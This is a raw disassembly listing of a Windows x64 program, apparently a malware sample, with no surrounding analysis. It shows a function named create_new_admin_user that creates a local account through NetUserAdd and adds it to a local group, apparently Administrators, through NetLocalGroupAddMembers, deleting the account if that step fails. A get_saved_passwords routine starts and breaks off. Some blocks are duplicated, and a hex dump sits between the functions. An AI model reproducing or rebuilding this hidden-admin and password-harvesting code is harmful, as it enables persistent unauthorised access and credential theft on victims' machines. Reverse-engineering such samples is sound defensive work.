14000563bloc_14000563b:
14000563bmov rax, [rbp+1184]
140005642add rsp, 1288
140005649pop rbx
14000564apop rbp
14000564bret
1400049fe
1400049fecreate_new_admin_user[abi:cxx11]():
1400049fepush rbp
1400049ffpush rbx
140004a00sub rsp, 1288
140004a07lea rbp, [rsp+128]
140004a0fmov [rbp+1184], rcx
140004a16lea rax, [rbp+175]
140004a1dmov [rbp+1136], rax
140004a24nop
140004a25nop
140004a26lea rcx, [rbp+175]
140004a2dlea rdx, [rip+0x1027b5]
140004a34lea rax, [rbp+128]
140004a3bmov r8, rcx
140004a3emov rcx, rax
140004a41call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140004a46lea rax, [rbp+219]
140004a4dmov [rbp+1128], rax
140004a54nop
140004a55nop
140004a56lea rcx, [rbp+219]
140004a5dlea rdx, [rip+0x102d2c]
140004a64lea rax, [rbp+176]
140004a6bmov r8, rcx
140004a6emov rcx, rax
140004a71call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140004a76lea rdx, [rbp+128]
140004a7dlea rax, [rbp+176]
140004a84mov rcx, rax
140004a87call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140004a8clea rax, [rbp+176]
140004a93mov rcx, rax
140004a96call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004a9blea rax, [rbp+219]
140004aa2mov rcx, rax
140004aa5call std::__new_allocator<char>::~__new_allocator()
140004aaanop
140004aablea rax, [rbp+128]
140004ab2mov rcx, rax
140004ab5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004abalea rax, [rbp+175]
140004ac1mov rcx, rax
140004ac4call std::__new_allocator<char>::~__new_allocator()
140004ac9nop
140004acalea rax, [rbp+220]
140004ad1mov [rbp+1120], rax
140004ad8nop
140004ad9nop
140004adalea rcx, [rbp+220]
140004ae1lea rdx, [rip+0x102ccd]
140004ae8lea rax, [rbp+96]
140004aecmov r8, rcx
140004aefmov rcx, rax
140004af2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140004af7lea rax, [rbp+220]
140004afemov rcx, rax
140004b01call std::__new_allocator<char>::~__new_allocator()
140004b06nop
140004b07lea rax, [rbp+221]
140004b0emov [rbp+1112], rax
140004b15nop
140004b16nop
140004b17lea rcx, [rbp+221]
140004b1elea rdx, [rip+0x102c9d]
140004b25lea rax, [rbp+64]
140004b29mov r8, rcx
140004b2cmov rcx, rax
140004b2fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140004b34lea rax, [rbp+221]
140004b3bmov rcx, rax
140004b3ecall std::__new_allocator<char>::~__new_allocator()
140004b43nop
140004b44lea rax, [rbp+222]
140004b4bmov [rbp+1104], rax
140004b52nop
140004b53nop
140004b54lea rax, [rbp+96]
140004b58mov rcx, rax
140004b5bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::end()
140004b60mov rbx, rax
140004b63lea rax, [rbp+96]
140004b67mov rcx, rax
140004b6acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::begin()
140004b6fmov rdx, rax
140004b72lea rcx, [rbp+222]
140004b79lea rax, [rbp+32]
140004b7dmov r9, rcx
140004b80mov r8, rbx
140004b83mov rcx, rax
140004b86call std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>>::basic_string<__gnu_cxx::__normal_iterator<char*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, void>(__gnu_cxx::__normal_iterator<char*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, __gnu_cxx::__normal_iterator<char*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, std::allocator<wchar_t> const&)
140004b8blea rax, [rbp+222]
140004b92mov rcx, rax
140004b95call std::__new_allocator<wchar_t>::~__new_allocator()
140004b9anop
140004b9blea rax, [rbp+223]
140004ba2mov [rbp+1096], rax
140004ba9nop
140004baanop
140004bablea rax, [rbp+64]
140004bafmov rcx, rax
140004bb2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::end()
140004bb7mov rbx, rax
140004bbalea rax, [rbp+64]
140004bbemov rcx, rax
140004bc1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::begin()
140004bc6mov rdx, rax
140004bc9lea rcx, [rbp+223]
140004bd0mov rax, rbp
140004bd3mov r9, rcx
140004bd6mov r8, rbx
140004bd9mov rcx, rax
140004bdccall std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>>::basic_string<__gnu_cxx::__normal_iterator<char*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, void>(__gnu_cxx::__normal_iterator<char*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, __gnu_cxx::__normal_iterator<char*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, std::allocator<wchar_t> const&)
140004be1lea rax, [rbp+223]
140004be8mov rcx, rax
140004bebcall std::__new_allocator<wchar_t>::~__new_allocator()
140004bf0nop
140004bf1lea rax, [rbp-64]
140004bf5mov r8l, 56
140004bfbmov edx, 0
140004c00mov rcx, rax
140004c03call memset
140004c08lea rax, [rbp+32]
140004c0cmov rcx, rax
140004c0fcall std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>>::c_str() const
140004c14mov [rbp-64], rax
140004c18mov rax, rbp
140004c1bmov rcx, rax
140004c1ecall std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>>::c_str() const
140004c23mov [rbp-56], rax
140004c27mov [rbp-44], 1
140004c2emov [rbp-24], 577
140004c35mov [rbp-68], 0
140004c3clea rdx, [rbp-68]
140004c40lea rax, [rbp-64]
140004c44mov r9, rdx
140004c47mov r8, rax
140004c4amov edx, 1
140004c4fmov ecx, 0
140004c54call NetUserAdd
140004c59mov [rbp+1148], eax
140004c5fcmp [rbp+1148], 0
140004c66jne 0x140005077
140004c6clea rax, [rbp+271]
140004c73mov [rbp+1088], rax
140004c7anop
140004c7bnop
140004c7clea rcx, [rbp+271]
140004c83lea rdx, [rip+0x102821]
140004c8alea rax, [rbp+224]
140004c91mov r8, rcx
140004c94mov rcx, rax
140004c97call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140004c9clea rax, [rbp+304]
140004ca3lea rcx, [rbp+96]
140004ca7lea rdx, [rip+0x102b21]
140004caemov r8, rcx
140004cb1mov rcx, rax
140004cb4call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
140004cb9lea rax, [rbp+272]
140004cc0lea rcx, [rip+0x102b0f]
140004cc7lea rdx, [rbp+304]
140004ccemov r8, rcx
140004cd1mov rcx, rax
140004cd4call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140004cd9lea rdx, [rbp+224]
140004ce0lea rax, [rbp+272]
140004ce7mov rcx, rax
140004ceacall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140004ceflea rax, [rbp+272]
140004cf6mov rcx, rax
140004cf9call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004cfelea rax, [rbp+304]
140004d05mov rcx, rax
140004d08call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004d0dlea rax, [rbp+224]
140004d14mov rcx, rax
140004d17call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004d1clea rax, [rbp+271]
140004d23mov rcx, rax
140004d26call std::__new_allocator<char>::~__new_allocator()
140004d2bnop
140004d2clea rax, [rbp-80]
140004d30mov r8l, 8
140004d36mov edx, 0
140004d3bmov rcx, rax
140004d3ecall memset
140004d43lea rax, [rbp+32]
140004d47mov rcx, rax
140004d4acall std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>>::c_str() const
140004d4fmov [rbp-80], rax
140004d53lea rdx, [rbp-80]
140004d57lea rax, [rip+0x102a90]
140004d5emov [rsp+32], 1
140004d66mov r9, rdx
140004d69mov r8l, 3
140004d6fmov rdx, rax
140004d72mov ecx, 0
140004d77call NetLocalGroupAddMembers
140004d7cmov [rbp+1148], eax
140004d82cmp [rbp+1148], 0
140004d89jne 0x140004ecd
140004d8flea rax, [rbp+383]
140004d96mov [rbp+1080], rax
140004d9dnop
140004d9enop
140004d9flea rcx, [rbp+383]
140004da6lea rdx, [rip+0x1026fe]
140004dadlea rax, [rbp+336]
140004db4mov r8, rcx
140004db7mov rcx, rax
140004dbacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140004dbflea rax, [rbp+416]
140004dc6lea rcx, [rbp+96]
140004dcalea rdx, [rip+0x1029fe]
140004dd1mov r8, rcx
140004dd4mov rcx, rax
140004dd7call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
140004ddclea rax, [rbp+384]
140004de3lea rcx, [rip+0x102a26]
140004dealea rdx, [rbp+416]
140004df1mov r8, rcx
140004df4mov rcx, rax
140004df7call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140004dfclea rdx, [rbp+336]
140004e03lea rax, [rbp+384]
140004e0amov rcx, rax
140004e0dcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140004e12lea rax, [rbp+384]
140004e19mov rcx, rax
140004e1ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004e21lea rax, [rbp+416]
140004e28mov rcx, rax
140004e2bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004e30lea rax, [rbp+336]
140004e37mov rcx, rax
140004e3acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004e3flea rax, [rbp+383]
140004e46mov rcx, rax
140004e49call std::__new_allocator<char>::~__new_allocator()
140004e4enop
140004e4flea rax, [rbp+480]
140004e56lea rcx, [rbp+96]
140004e5alea rdx, [rip+0x1029d0]
140004e61mov r8, rcx
140004e64mov rcx, rax
140004e67call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
140004e6clea rax, [rbp+448]
140004e73lea rcx, [rip+0x1029d0]
140004e7alea rdx, [rbp+480]
140004e81mov r8, rcx
140004e84mov rcx, rax
140004e87call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140004e8cmov rax, [rbp+1184]
140004e93lea rcx, [rbp+64]
140004e97lea rdx, [rbp+448]
140004e9emov r8, rcx
140004ea1mov rcx, rax
140004ea4call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
140004ea9nop
140004eaalea rax, [rbp+448]
140004eb1mov rcx, rax
140004eb4call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004eb9lea rax, [rbp+480]
140004ec0mov rcx, rax
140004ec3call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004ec8jmp 0x1400052bc
140004ecd
140004ecdloc_140004ecd:
140004ecdlea rax, [rbp+559]
140004ed4mov [rbp+1072], rax
140004edbnop
140004edcnop
140004eddlea rcx, [rbp+559]
140004ee4lea rdx, [rip+0x102318]
140004eeblea rax, [rbp+512]
140004ef2mov r8, rcx
140004ef5mov rcx, rax
140004ef8call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140004efdlea rax, [rbp+592]
140004f04mov edx, [rbp+1148]
140004f0amov rcx, rax
140004f0dcall std::__cxx11::to_string(unsigned long)
140004f12lea rax, [rbp+656]
140004f19lea rcx, [rbp+96]
140004f1dlea rdx, [rip+0x10292a]
140004f24mov r8, rcx
140004f27mov rcx, rax
140004f2acall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
140004f2flea rax, [rbp+624]
140004f36lea rcx, [rip+0x10292b]
140004f3dlea rdx, [rbp+656]
140004f44mov r8, rcx
140004f47mov rcx, rax
140004f4acall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140004f4flea rax, [rbp+560]
140004f56lea rcx, [rbp+592]
140004f5dlea rdx, [rbp+624]
140004f64mov r8, rcx
140004f67mov rcx, rax
140004f6acall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_S9_
140004f6flea rdx, [rbp+512]
140004f76lea rax, [rbp+560]
140004f7dmov rcx, rax
140004f80call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140004f85lea rax, [rbp+560]
140004f8cmov rcx, rax
140004f8fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004f94lea rax, [rbp+624]
140004f9bmov rcx, rax
140004f9ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004fa3lea rax, [rbp+656]
140004faamov rcx, rax
140004fadcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004fb2lea rax, [rbp+592]
140004fb9mov rcx, rax
140004fbccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004fc1lea rax, [rbp+512]
140004fc8mov rcx, rax
140004fcbcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004fd0lea rax, [rbp+559]
140004fd7mov rcx, rax
140004fdacall std::__new_allocator<char>::~__new_allocator()
140004fdfnop
140004fe0lea rax, [rbp+32]
140004fe4mov rcx, rax
140004fe7call std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>>::c_str() const
140004fecmov rdx, rax
140004fefmov ecx, 0
140004ff4call NetUserDel
140004ff9lea rax, [rbp+720]
140005000lea rcx, [rbp+96]
140005004lea rdx, [rip+0x102885]
14000500bmov r8, rcx
14000500emov rcx, rax
140005011call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
140005016lea rax, [rbp+688]
14000501dlea rcx, [rip+0x102826]
140005024lea rdx, [rbp+720]
14000502bmov r8, rcx
14000502emov rcx, rax
140005031call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140005036mov rax, [rbp+1184]
14000503dlea rcx, [rbp+64]
140005041lea rdx, [rbp+688]
140005048mov r8, rcx
14000504bmov rcx, rax
14000504ecall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
140005053nop
140005054lea rax, [rbp+688]
14000505bmov rcx, rax
14000505ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005063lea rax, [rbp+720]
14000506amov rcx, rax
14000506dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005072jmp 0x1400052bc
140005077
140005077loc_140005077:
140005077cmp [rbp+1148], 2224
140005081jne 0x140005169
140005087lea rax, [rbp+799]
14000508emov [rbp+1064], rax
140005095nop
140005096nop
140005097lea rcx, [rbp+799]
14000509elea rdx, [rip+0x102829]
1400050a5lea rax, [rbp+752]
1400050acmov r8, rcx
1400050afmov rcx, rax
1400050b2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400050b7lea rax, [rbp+832]
1400050belea rcx, [rbp+96]
1400050c2lea rdx, [rip+0x102706]
1400050c9mov r8, rcx
1400050ccmov rcx, rax
1400050cfcall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
1400050d4lea rax, [rbp+800]
1400050dblea rcx, [rip+0x1027f6]
1400050e2lea rdx, [rbp+832]
1400050e9mov r8, rcx
1400050ecmov rcx, rax
1400050efcall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
1400050f4lea rdx, [rbp+752]
1400050fblea rax, [rbp+800]
140005102mov rcx, rax
140005105call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000510alea rax, [rbp+800]
140005111mov rcx, rax
140005114call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005119lea rax, [rbp+832]
140005120mov rcx, rax
140005123call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005128lea rax, [rbp+752]
14000512fmov rcx, rax
140005132call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005137lea rax, [rbp+799]
14000513emov rcx, rax
140005141call std::__new_allocator<char>::~__new_allocator()
140005146nop
140005147mov rax, [rbp+1184]
14000514elea rcx, [rbp+96]
140005152lea rdx, [rip+0x1027a4]
140005159mov r8, rcx
14000515cmov rcx, rax
14000515fcall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
140005164jmp 0x1400052bc
140005169
140005169loc_140005169:
140005169lea rax, [rbp+911]
140005170mov [rbp+1056], rax
140005177nop
140005178nop
140005179lea rcx, [rbp+911]
140005180lea rdx, [rip+0x10207c]
140005187lea rax, [rbp+864]
14000518emov r8, rcx
140005191mov rcx, rax
140005194call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005199lea rax, [rbp+944]
1400051a0mov edx, [rbp+1148]
1400051a6mov rcx, rax
1400051a9call std::__cxx11::to_string(unsigned long)
1400051aelea rax, [rbp+1008]
1400051b5lea rcx, [rbp+96]
1400051b9lea rdx, [rip+0x102753]
1400051c0mov r8, rcx
1400051c3mov rcx, rax
1400051c6call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
1400051cblea rax, [rbp+976]
1400051d2lea rcx, [rip+0x102752]
1400051d9lea rdx, [rbp+1008]
1400051e0mov r8, rcx
1400051e3mov rcx, rax
1400051e6call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
1400051eblea rax, [rbp+912]
1400051f2lea rcx, [rbp+944]
1400051f9lea rdx, [rbp+976]
140005200mov r8, rcx
140005203mov rcx, rax
140005206call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_S9_
14000520blea rdx, [rbp+864]
140005212lea rax, [rbp+912]
140005219mov rcx, rax
14000521ccall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140005221lea rax, [rbp+912]
140005228mov rcx, rax
14000522bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005230lea rax, [rbp+976]
140005237mov rcx, rax
14000523acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000523flea rax, [rbp+1008]
140005246mov rcx, rax
140005249call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000524elea rax, [rbp+944]
140005255mov rcx, rax
140005258call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000525dlea rax, [rbp+864]
140005264mov rcx, rax
140005267call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000526clea rax, [rbp+911]
140005273mov rcx, rax
140005276call std::__new_allocator<char>::~__new_allocator()
14000527bnop
14000527clea rax, [rbp+1047]
140005283mov [rbp+1048], rax
14000528anop
14000528bnop
14000528clea rcx, [rbp+1047]
140005293lea rdx, [rip+0x10269c]
14000529amov rax, [rbp+1184]
1400052a1mov r8, rcx
1400052a4mov rcx, rax
1400052a7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400052aclea rax, [rbp+1047]
1400052b3mov rcx, rax
1400052b6call std::__new_allocator<char>::~__new_allocator()
1400052bbnop
1400052bc
1400052bcloc_1400052bc:
1400052bcmov rax, rbp
1400052bfmov rcx, rax
1400052c2call std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>>::~basic_string()
1400052c7lea rax, [rbp+32]
1400052cbmov rcx, rax
1400052cecall std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t>>::~basic_string()
1400052d3lea rax, [rbp+64]
1400052d7mov rcx, rax
1400052dacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400052dflea rax, [rbp+96]
1400052e3mov rcx, rax
1400052e6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400052ebjmp 0x14000563b
1400052f0
1400052f0 48 89 c3 48 8d 85 b0 00 00 00 48 89 c1 e8 ce c1 H..H......H.....
140005300 0d 00 eb 03 48 89 c3 48 8d 85 db 00 00 00 48 89 ....H..H......H.
140005310 c1 e8 ba 8a 0c 00 90 48 8d 85 80 00 00 00 48 89 .......H......H.
140005320 c1 e8 aa c1 0d 00 eb 03 48 89 c3 48 8d 85 af 00 ........H..H....
140005330 00 00 48 89 c1 e8 96 8a 0c 00 90 48 89 d8 48 89 ..H........H..H.
140005340 c1 e8 5a 60 01 00 48 89 c3 48 8d 85 dc 00 00 00 ..Z`..H..H......
140005350 48 89 c1 e8 78 8a 0c 00 90 48 89 d8 48 89 c1 e8 H...x....H..H...
140005360 3c 60 01 00 48 89 c3 48 8d 85 dd 00 00 00 48 89 <`..H..H......H.
140005370 c1 e8 5a 8a 0c 00 90 e9 a8 02 00 00 48 89 c3 48 ..Z.........H..H
140005380 8d 85 de 00 00 00 48 89 c1 e8 f2 8a 0c 00 90 e9 ......H.........
140005390 84 02 00 00 48 89 c3 48 8d 85 df 00 00 00 48 89 ....H..H......H.
1400053a0 c1 e8 da 8a 0c 00 90 e9 60 02 00 00 48 89 c3 48 ........`...H..H
1400053b0 8d 85 10 01 00 00 48 89 c1 e8 12 c1 0d 00 eb 03 ......H.........
1400053c0 48 89 c3 48 8d 85 30 01 00 00 48 89 c1 e8 fe c0 H..H..0...H.....
1400053d0 0d 00 eb 03 48 89 c3 48 8d 85 e0 00 00 00 48 89 ....H..H......H.
1400053e0 c1 e8 ea c0 0d 00 eb 03 48 89 c3 48 8d 85 0f 01 ........H..H....
1400053f0 00 00 48 89 c1 e8 d6 89 0c 00 90 e9 01 02 00 00 ..H.............
140005400 48 89 c3 48 8d 85 80 01 00 00 48 89 c1 e8 be c0 H..H......H.....
140005410 0d 00 eb 03 48 89 c3 48 8d 85 a0 01 00 00 48 89 ....H..H......H.
140005420 c1 e8 aa c0 0d 00 eb 03 48 89 c3 48 8d 85 50 01 ........H..H..P.
140005430 00 00 48 89 c1 e8 96 c0 0d 00 eb 03 48 89 c3 48 ..H.........H..H
140005440 8d 85 7f 01 00 00 48 89 c1 e8 82 89 0c 00 90 e9 ......H.........
140005450 ad 01 00 00 48 89 c3 48 8d 85 c0 01 00 00 48 89 ....H..H......H.
140005460 c1 e8 6a c0 0d 00 eb 03 48 89 c3 48 8d 85 e0 01 ..j.....H..H....
140005470 00 00 48 89 c1 e8 56 c0 0d 00 e9 82 01 00 00 48 ..H...V........H
140005480 89 c3 48 8d 85 30 02 00 00 48 89 c1 e8 3f c0 0d ..H..0...H...?..
140005490 00 eb 03 48 89 c3 48 8d 85 70 02 00 00 48 89 c1 ...H..H..p...H..
1400054a0 e8 2b c0 0d 00 eb 03 48 89 c3 48 8d 85 90 02 00 .+.....H..H.....
1400054b0 00 48 89 c1 e8 17 c0 0d 00 eb 03 48 89 c3 48 8d .H.........H..H.
1400054c0 85 50 02 00 00 48 89 c1 e8 03 c0 0d 00 48 8d 85 .P...H.......H..
1400054d0 00 02 00 00 48 89 c1 e8 f4 bf 0d 00 eb 03 48 89 ....H.........H.
1400054e0 c3 48 8d 85 2f 02 00 00 48 89 c1 e8 e0 88 0c 00 .H../...H.......
1400054f0 90 e9 0b 01 00 00 48 89 c3 48 8d 85 b0 02 00 00 ......H..H......
140005500 48 89 c1 e8 c8 bf 0d 00 eb 03 48 89 c3 48 8d 85 H.........H..H..
140005510 d0 02 00 00 48 89 c1 e8 b4 bf 0d 00 e9 e0 00 00 ....H...........
140005520 00 48 89 c3 48 8d 85 20 03 00 00 48 89 c1 e8 9d .H..H.. ...H....
140005530 bf 0d 00 eb 03 48 89 c3 48 8d 85 40 03 00 00 48 .....H..H..@...H
140005540 89 c1 e8 89 bf 0d 00 eb 03 48 89 c3 48 8d 85 f0 .........H..H...
140005550 02 00 00 48 89 c1 e8 75 bf 0d 00 eb 03 48 89 c3 ...H...u.....H..
140005560 48 8d 85 1f 03 00 00 48 89 c1 e8 61 88 0c 00 90 H......H...a....
140005570 e9 8c 00 00 00 48 89 c3 48 8d 85 90 03 00 00 48 .....H..H......H
140005580 89 c1 e8 49 bf 0d 00 eb 03 48 89 c3 48 8d 85 d0 ...I.....H..H...
140005590 03 00 00 48 89 c1 e8 35 bf 0d 00 eb 03 48 89 c3 ...H...5.....H..
1400055a0 48 8d 85 f0 03 00 00 48 89 c1 e8 21 bf 0d 00 eb H......H...!....
1400055b0 03 48 89 c3 48 8d 85 b0 03 00 00 48 89 c1 e8 0d .H..H......H....
1400055c0 bf 0d 00 48 8d 85 60 03 00 00 48 89 c1 e8 fe be ...H..`...H.....
1400055d0 0d 00 eb 03 48 89 c3 48 8d 85 8f 03 00 00 48 89 ....H..H......H.
1400055e0 c1 e8 ea 87 0c 00 90 eb 18 48 89 c3 48 8d 85 17 .........H..H...
1400055f0 04 00 00 48 89 c1 e8 d5 87 0c 00 90 eb 03 48 89 ...H..........H.
140005600 c3 48 89 e8 48 89 c1 e8 b4 05 0e 00 48 8d 45 20 .H..H.......H.E
140005610 48 89 c1 e8 a8 05 0e 00 48 8d 45 40 48 89 c1 e8 H.......H.E@H...
140005620 ac be 0d 00 48 8d 45 60 48 89 c1 e8 a0 be 0d 00 ....H.E`H.......
140005630 48 89 d8 48 89 c1 e8 65 5d 01 00 H..H...e]..
14000563b
14000563bloc_14000563b:
14000563bmov rax, [rbp+1184]
140005642add rsp, 1288
140005649pop rbx
14000564apop rbp
14000564bret
1400049fe
14000564c
14000564cget_saved_passwords[abi:cxx11]():
14000564cpush rbp
14000564dpush rbx
14000564esub rsp, 552
140005655lea rbp, [rsp+128]
14000565dmov [rbp+448], rcx
140005664lea rax, [rbp+255]
14000566bmov [rbp+408], rax
140005672nop
140005673nop
140005674lea rcx, [rbp+255]
14000567blea rdx, [rip+0x101b67]
140005682lea rax, [rbp+208]
140005689mov r8, rcx
14000568cmov rcx, rax
14000568fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005694lea rax, [rbp+302]
14000569bmov [rbp+400], rax
1400056a2nop
1400056a3nop
1400056a4lea rcx, [rbp+302]
1400056ablea rdx, [rip+0x1022a6]
1400056b2lea rax, [rbp+256]
1400056b9mov r8, rcx
1400056bcmov rcx, rax
1400056bfcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400056c4lea rdx, [rbp+208]
1400056cblea rax, [rbp+256]
1400056d2mov rcx, rax
1400056d5call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400056dalea rax, [rbp+256]
1400056e1mov rcx, rax
1400056e4call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400056e9lea rax, [rbp+302]
1400056f0mov rcx, rax
1400056f3call std::__new_allocator<char>::~__new_allocator()
1400056f8nop
1400056f9lea rax, [rbp+208]
140005700mov rcx, rax
140005703call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005708lea rax, [rbp+255]
14000570fmov rcx, rax
140005712call std::__new_allocator<char>::~__new_allocator()
140005717nop
140005718lea rax, [rbp+303]
14000571fmov [rbp+392], rax
140005726nop
140005727nop
140005728lea rcx, [rbp+303]
14000572flea rdx, [rip+0x10226a]
140005736mov rax, [rbp+448]
14000573dmov r8, rcx
140005740mov rcx, rax
